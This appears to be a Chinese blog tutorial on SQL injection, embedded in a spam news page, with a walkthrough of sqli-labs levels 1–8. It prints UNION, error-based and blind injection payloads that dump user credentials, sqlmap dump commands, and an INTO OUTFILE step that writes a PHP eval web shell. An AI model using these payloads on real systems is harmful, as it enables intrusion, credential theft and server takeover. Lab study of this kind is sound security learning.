当前位置: 首页 > news >正文

网站app免费生成软件下载微信销售小程序

网站app免费生成软件下载,微信销售小程序,赣州做网站的,怎么更换网站图片一、概述 SQL注入#xff08;SQL Injection#xff09;是发生在web程序中数据库层的安全漏洞#xff0c;是比较常用的网络攻击方式之一#xff0c;它不是利用操作系统的BUG来实现攻击#xff0c;而是针对程序员编写时的疏忽#xff0c;通过SQL语句#xff0c;实现无账号…一、概述 SQL注入SQL Injection是发生在web程序中数据库层的安全漏洞是比较常用的网络攻击方式之一它不是利用操作系统的BUG来实现攻击而是针对程序员编写时的疏忽通过SQL语句实现无账号登录甚至修改数据库也就是说SQL注入就是在爱用户输入的字符串中添加SQL语句如果在设计不良的程序中忽略了检查那么这些注入进去的SQL语句就会被数据库服务器误认为是正常的SQL语句而运行攻击者就可以执行计划外的命令或者访问未授权的数据。 二、SQL注入的危害 1数据库信息泄露数据库中存放的用户的隐私信息的泄露 2网页篡改通过操作数据库对特定网页进行篡改 3网站被挂马传播恶意软件修改数据库一些字段的值嵌入网马链接进行挂马攻击 4数据库被恶意操作数据库服务器被攻击数据库的系统管理员账户被篡改 5服务器被远程控制被安装后门经由数据库服务提供的操作系统支持让黑客得以修改或控制操作系统 6破坏硬盘数据瘫痪全系统。 三、SQL注入漏洞的原理 在动态网站中,往往需要用户传递参数到服务器,这些参数往往需要和数据库进行交互;当服务端没有对参数进行安全过滤时,攻击者在参数中加入恶意的SQL语句结构,便编造成了SQL注入漏洞被攻击者利用来攻击系统和网站。 攻击者在提交请求时将SQL语句插入到请求内容中程序本身对用户输入内容未经处理,同时而未对恶意用户插入的SQL语句进行过滤导致SQL语句直接被服务端执行。 四、SQL注入关卡靶场介绍 在SQL注入漏洞中注入类型分为三种:数字型、字符型、搜索型 1.数字型 在 Web 端中经常能看到是例如http://xxx.com/news.php?id1 这种形式其注入点 id 类型为数字所以叫数字型注入点。 这一类的 SQL 语句结构通常为 select * from news where id1 ,如果攻击者将参数id的值改为1 or 11,那么程序中拼接的sql语句则为select * from news where id1 or 11,因此参数改变了原有的SQL语句结构导致了SQL注入漏洞攻击。 2.字符型 在 Web 端中也经常能看到例如http://xxx.com/news.php?nameadmin 这种形式的URL地址其注入点 name 类型为字符类型所以叫字符型注入点。这一类的 SQL 语句结构通常为 select * from 表名 where nameadmin 当攻击者在参数值admin尾部加入攻击代码 or 11,那么拼接出来的sql注入语句为 select * from news where chradmin or 11 这样SQL语句同样也会被改变当然攻击者也不仅仅使用这么简单的攻击代码通常还会使用一些更加复杂的攻击代码例如 admin union select 1,2,3,4 or 11 在程序中拼接SQL语句之后则变成了 select * from news where chradmin union select 1,2,3,4 or 11 这样就可以使用union结构将攻击者所感兴趣的内容返回回来 3.搜索型 很多时候我们会看到网站有个站内搜索的功能搜索功能往往需要和数据库进行交互因此也会存在SQL注入漏洞风险搜索型SQL注入的特点是攻击代码中有两个% 当攻击代码为 %xxxx% or 11 #% 所有的用户都在下方展示了出来在命令行里我们可以这样搜索 五、攻击实例 1.SQL-ONE 1.判断是否存在sql注入根据提示输入数值的ID作为参数例如?id1  ?id2  ?id3 2.输入数值不同返回的内容也不同可以判断我们输入的内容事带入到了数据库中进行查询了。 3.判断sql语句是否拼接同时判断是字符型还是数字型。 4.根据上述结果可以判定是字符型且存在sql注入漏洞。 5联合注入第一步知道表格有几列如果报错就是超过列数如果显示正常就是没有超过列数。 输入代码?id1order by 3 -- 再次输入代码?id1order by 4 -- 6.可以看到是第二列和第三列里面的数据是显示在也页面的 输入代码?id-1union select 1,2,3-- 7.获取当前数据名和版本号 输入代码?id-1union select 1,database(),version()-- 8.爆表information_schema.tables表示该数据库下的tables表点表示下一级。where后面是条件group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。 输入代码?id-1union select 1,2,group_concat(table_name) from information_schema.tables where table_schemasecurity-- 9爆字段名通过sql语句查询知道当前数据库有四个表根据表名可能知道账号和密码是在users表中 输入代码?id-1union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers-- 10.通过上述操作可以得到的两个敏感字段是username和password 继续输入代码?id-1 union select 1,2,group_concat(username ,id , password) from users-- 2.SQL-TWO 1.和第一关是一样进行判断当我们输入单引号或者双引号可以看到报错且报错信息看不到数字所有我们可以猜测sql语句应该是数字型注入。 2.order by猜解字段         可以看到order by 3 时显示正常order by 4时显示异常说明有3个可显示字段。 3.查找数据库名称和版本号?id-1 union select 1,database(),version() 4.查找表名?id-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemasecurity 5.查询列名?id-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers 6.显示用户名和密码?id-1 union select 1,2,group_concat(username ,id , password) from users 3.SQL-THREE 1.判断是否存在注入点 ?id1’) and 11 -- ?id1’) and 12 -- 2.判断字段数 ?id1 order by 3 -- ?id1 order by 4 -- 3.判断回显点 ?id15) union select 1,2,3 -- 4.查询相关内容如数据库名、表名、列名 数据库名 ?id15)union select 1,database(),3 -- 表名 ?id15)union select 1,table_name,3 from information_schema.tables where table_schemasecurity limit 0,1 -- 列名 ?id15)union select 1,column_name,3 from information_schema.columns where table_schemasecurity and table_nameusers limit 0,1-- 账号密码?id0) union select 1,username,password from users limit 1,1 -- 4.SQL-FOUR 1.判断是否存在注入点 ?id1”) and 11 -- ?id1”) and 12 -- 2.判断字段数 ?id1”)order by 3 -- ?id1”)order by 4 -- 3.判断回显点 ?id15”) union select 1,2,3 -- 4.查询相关内容如数据库名、表名、列名 数据库名 ?id15”)union select 1,database(),3 -- 表名 ?id-1) union select 1,table_name,3 from information_schema.tables where table_schemasecurity limit 0,1 -- 列名 ?id15)union select 1,column_name,3 from information_schema.columns where table_schemasecurity and table_nameusers limit 0,1-- 账号密码?id15)union select 1,username,password from users limit 0,1 -- 5.SQL-Five 1.判断注入类型 Sql属于字符型注入 此关手动注入倾向于用基于报错的SQL盲注 2.判断注入点 单引号闭合 ·        3.联合注入判断字段数 字段数为123 4.爆出显错位 无显错位故可使用盲注本关使用基于报错的SQL盲注 5.Updatexml注入 爆库名 ?id1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- 得到当前库名为security 爆表名 ?id1 and updatexml (1,concat (0x7e,(select table_name from information_schema.tables where table_schemasecurity limit 0,1),0x7e),1)-- 得到当前表名有emailsreferersuagentsuser 爆列名 ?id1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schemasecurity and table_nameuserslimit 0,1),0x7e),1)-- 得到users表的所有列名为idusernamepassword 爆字段号 ?id1 and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1)-- 获得用户表的账号为Dumb密码为Dumb 6.SQL-Six 1、判断注入类型 Sql属于字符型注入 2、判断注入点 双引号闭合 3、联合注入判断字段数 字段数为123 4、爆出显错位 无显错位故可使用盲注本关使用基于报错的SQL盲注 5、双查询注入 爆库名 ?id1 union select 1,count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2)) as a from information_schema.tables group by a-- 得到当前库名为security 爆表名 ?id1 union select 1,count(*),concat(0x7e,(select table_name from information_schema.tables where table_schemasecurity limit 0,1),0x7e,floor(rand(0)*2)) as a from information_schema.tables group by a -- 得到当前表名有emailsreferersuagentsuser 爆列名 ?id1 union select 1,count(*),concat(0x7e,(select column_name from information_schema.columns where table_nameusers limit 0,1),0x7e,floor(rand(0)*2)) as a from information_schema.columns group by a -- 得到user表的所有列名为USERCURRENT_CONNECTIONSTOTAL_CONNECTIONS,id,username,password,level 爆字段号 ?id1 union select 1,count(*),concat(0x7e,(select username from users limit 0,1),0x7e,floor(rand(0)*2)) as a from emails group by a -- 获得用户表的账号为Dumb密码为Dumb 7.SQL-SEVEN 当在输入id1,页面显示you are in... 当我们输入id1时显示报错但是没有报错信息这和我们之前的关卡不一样之前都有报错信息。当我们输入id1时显示正常所以我们可以断定参数id时单引号字符串。因为单引号破坏了他原有语法结构。然后我输入id1--时报错这时候我们可以输入id1)--发现依然报错之时我试试是不是双括号输入id1))--发现页面显示正常。那么它的过关手法和前面就一样了选择布尔盲注就可以了。 1.判断是否存在注入 当输入id1时 当输入id1’时回显错误 初步判断为字符型注入 接下来我们测试 ?id1 是否是注入点(利用 or 11  或者 and 11等方法) 发现报错那么接下来 分析是否存在括号及其个数依次增加括号个数直到回显正常 由此可推断出这是带双括号的单引号注入 1、先导出文件 导出文件就是可以向服务器写入文件,但是利用的时候要知道数据库,网站的路径 2、读写权限测试?id1)) and (select count(*) from mysql.user)0 -- 返回正常则有权限读写 3、利用into outfile进行演示?id-1)) union select 1,2,3 into outfile D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\test1.txt-- 在浏览器或后台中生成test.txt文件 导入到文件?id1)) union select 1,2,?php eval($_POST[111111])? into outfile D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\test.php -- 中国蚁剑链接 8.SQL-EIGHT 1、分别输入?Id1 ?Id1’ ?Id1” 根据题目提示可知这是单引号注入且需要通过盲注进行通关 那么首先利用单引号看一下网页的回显 用?id1’ or11--测试是不是注入点 利用布尔盲注进行数据库信息。 利用 left(version(),1)进行尝试查看一下 version()当前环境数据库的版本号为 5.5.47  这里的语句的意思是看版本号的第一位是不是 5明显的返回的结果是正确的。 ?id1 and length(database())8 -- 查看数据库的长度长度为 8 时正确回显说明长度为 8.知道了数据库长度可大大减少我们猜数据库名的时间 ?id1 and left(database(),1)s -- 依次可推出security 2、在sqlmap中输入python sqlmap.py -uhttp://127.0.0.1/sqli-labs-master/Less-8/?id1 --dbs -batch 得到数据库名为security。 在sqlmap中输入python sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-8/?id1--current-db -batch  得到数据库中的表 获取数据库中的列输入python  sqlmap.py -u http://127.0.0.1/sqli-labs-master/Less-8/?id1-D security -T users --columns -batch 获取数据库中的数据python  sqlmap.py -uhttp://127.0.0.1/sqli-labs-master/Less-8/?id1 -D security -T users -C username--dump -batch 六、总结 通过此次对sqil关卡的通关我了解到sql注入本质上来说就是拼接字符通过输入额外的信息破坏外后端脚本原有的查询语句结构从而达成注入的目的。在SQLI中按照注入参数类别分为字符型注入、数字型注入、GET型注入、URL注入、请求头注入、POST注入、有回显的注入、联合查询注入等。在通关时应判断闭合符列数然后开始查询数据库名查表名查列名最后查数据得到用户名和密码。其中我对于盲注有进行部分深入了解盲注分为布尔盲注和时间盲注对于盲注常用报错注入方式进行破解常见的报错注入有双查询报错注入、exp函数报错注入、updatexml函数报错注入、extractvalue函数报错注入join语句报错注入等等当然还有一些报错注入不过不常用。当然除了盲注外还有其他的注入如二阶注入、堆叠注入、长字符串截断注入、无回显的注入等等。总的来说sql注入存在的原因就是计算机对代码部分与数据部分区分错误导致的。 对于SQL注入的预防措施如过滤输入内容校验字符串、参数化查询也就是绑定变量使用预编译查询、采用安全测试安全审计如避免使用动态SQL不要将敏感数据保留在纯文本中限制数据库的权限和特权以及避免直接向用户显示数据库错误
http://www.w-s-a.com/news/825952/

相关文章:

  • 网站未及时续费浙江台州做网站的公司有哪些
  • 二级域名做网站好不好河源建网站
  • 公司网站的作用意义维护建设管理天津平台网站建设费用
  • 建设部网站如何下载国标规范上海影视公司
  • 企业官方网站地址通了网站建设
  • 专题网站可以做什么怎么做网站滑动图片部分h5
  • 什么是网站建设外包html 门户网站
  • 资阳市建设局网站微信开发公司
  • wap建站程序源码可不可以异地建设网站
  • 优秀企业网站的特点网站标签名词
  • 建材网站建设案例淄博网站建设培训
  • 纯代码添加wordpress网站底部导航宝塔自助建站源码
  • 网站设计技术有哪些?青岛网站建设工作室
  • 网站怎样建设才叫人性化宣传
  • 济南网站制作方案做淘客网站备案
  • h5企业网站只做做php门户网站那个系统好
  • 长春阿凡达网站建设建网站如果不买域名别人能不能访问
  • 佛山网站建设策划东莞建设工程交易网
  • 制作公众号网站开发濮阳建网站
  • 屏南网站建设兼职旅游网站建设方案两百字
  • 最牛的网站建设网站建设的规模设想
  • 马云之前做的网站企业形象策划
  • ie9网站后台编辑器代发qq群发广告推广
  • 百度怎样建立一个网站嘉兴高端网站定制
  • 国外设计网站怎么进入电子网站建设前台设计
  • 中方建设局网站济南网站建设公司电子商务网站
  • 如何做网站编辑 沒技术济南企业做网站推广网站
  • 网站模板 百科北京中高风险地区最新名单最新
  • 高校网站建设前言做公众号的公司是什么公司
  • 网站备案怎么登陆短视频培训学校